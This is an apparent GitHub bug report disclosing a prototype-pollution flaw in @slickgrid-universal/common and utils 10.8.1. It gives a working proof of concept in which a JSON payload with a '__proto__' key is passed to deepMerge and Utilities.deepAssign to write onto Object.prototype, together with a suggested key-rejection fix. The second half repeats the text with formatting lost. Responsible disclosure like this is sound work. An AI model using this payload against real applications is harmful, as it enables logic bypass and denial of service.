Describe the bug
The public @slickgrid-universal/common package exports deepMerge from @slickgrid-universal/utils and also exposes it as Utilities.deepAssign.
When either public API is used to deep merge an object containing an own __proto__ property, attacker-controlled properties can be written to Object.prototype. After that, newly created plain objects in the same JavaScript process inherit the polluted property.
This appears to affect the latest published version I tested:
@slickgrid-universal/common@10.8.1
@slickgrid-universal/utils@10.8.1
Relevant source paths:
packages/common/src/index.ts
- re-exports
@slickgrid-universal/utils
- exposes
deepAssign: Utils.deepMerge inside Utilities
packages/utils/src/utils.ts
deepMerge() iterates Object.keys(source)
- it does not reject dangerous keys such as
__proto__, constructor, or prototype
- when
prop === "__proto__", prop in target is true for a normal object and target[prop] resolves to Object.prototype
- the recursive merge then writes attacker-controlled properties onto
Object.prototype
Expected behavior:
deepMerge() / Utilities.deepAssign() should not mutate Object.prototype, and dangerous prototype-related keys should be ignored or handled as safe data properties.
Reproduction
rm -rf /tmp/slickgrid-common-poc
mkdir /tmp/slickgrid-common-poc
cd /tmp/slickgrid-common-poc
npm init -y
npm install --ignore-scripts --no-audit --no-fund @slickgrid-universal/common@10.8.1
cat > poc.mjs <<'JS'
import { deepMerge, Utilities } from '@slickgrid-universal/common';
delete Object.prototype.slickgridUniversalPolluted;
const payload = JSON.parse('{"__proto__":{"slickgridUniversalPolluted":"yes"}}');
Utilities.deepAssign({}, payload);
console.log('after Utilities.deepAssign:', ({}).slickgridUniversalPolluted);
delete Object.prototype.slickgridUniversalPolluted;
deepMerge({}, payload);
console.log('after deepMerge:', ({}).slickgridUniversalPolluted);
delete Object.prototype.slickgridUniversalPolluted;
JS
node poc.mjs
Observed output:
after Utilities.deepAssign: yes
after deepMerge: yes
Expected output:
after Utilities.deepAssign: undefined
after deepMerge: undefined
Why this matters:
If an application deep merges user-controlled or partially user-controlled objects, prototype pollution can affect later application logic that relies on plain objects, default option objects, inherited properties, or property-existence checks. Depending on how polluted properties are consumed by the application, this can lead to unexpected behavior, logic bypass, denial of service, or other application-specific impact.
Suggested fix:
Before assigning or recursively merging a key, reject prototype-pollution primitives:
if (prop === '__proto__' || prop === 'constructor' || prop === 'prototype') {
return;
}
It would also be safer to avoid prop in target for merge decisions on untrusted keys because it walks the prototype chain. Prefer checking own properties on the target, and avoid recursing into inherited prototype objects.
Which Framework are you using?
Other
Environment Info
| Executable | Version |
| ------------------- | ------- |
| Framework used | Other / framework-independent |
| Slickgrid-Universal | @slickgrid-universal/common 10.8.1, @slickgrid-universal/utils 10.8.1 |
| TypeScript | N/A |
| Browser(s) | N/A, reproduced in Node.js |
| System OS | macOS 15.6 |
Validations
Describe the bug
The public
@slickgrid-universal/commonpackage exportsdeepMergefrom@slickgrid-universal/utilsand also exposes it asUtilities.deepAssign.When either public API is used to deep merge an object containing an own
__proto__property, attacker-controlled properties can be written toObject.prototype. After that, newly created plain objects in the same JavaScript process inherit the polluted property.This appears to affect the latest published version I tested:
@slickgrid-universal/common@10.8.1@slickgrid-universal/utils@10.8.1Relevant source paths:
packages/common/src/index.ts@slickgrid-universal/utilsdeepAssign: Utils.deepMergeinsideUtilitiespackages/utils/src/utils.tsdeepMerge()iteratesObject.keys(source)__proto__,constructor, orprototypeprop === "__proto__",prop in targetis true for a normal object andtarget[prop]resolves toObject.prototypeObject.prototypeExpected behavior:
deepMerge()/Utilities.deepAssign()should not mutateObject.prototype, and dangerous prototype-related keys should be ignored or handled as safe data properties.Reproduction
Observed output:
Expected output:
Why this matters:
If an application deep merges user-controlled or partially user-controlled objects, prototype pollution can affect later application logic that relies on plain objects, default option objects, inherited properties, or property-existence checks. Depending on how polluted properties are consumed by the application, this can lead to unexpected behavior, logic bypass, denial of service, or other application-specific impact.
Suggested fix:
Before assigning or recursively merging a key, reject prototype-pollution primitives:
It would also be safer to avoid
prop in targetfor merge decisions on untrusted keys because it walks the prototype chain. Prefer checking own properties on the target, and avoid recursing into inherited prototype objects.Which Framework are you using?
Other
Environment Info
Validations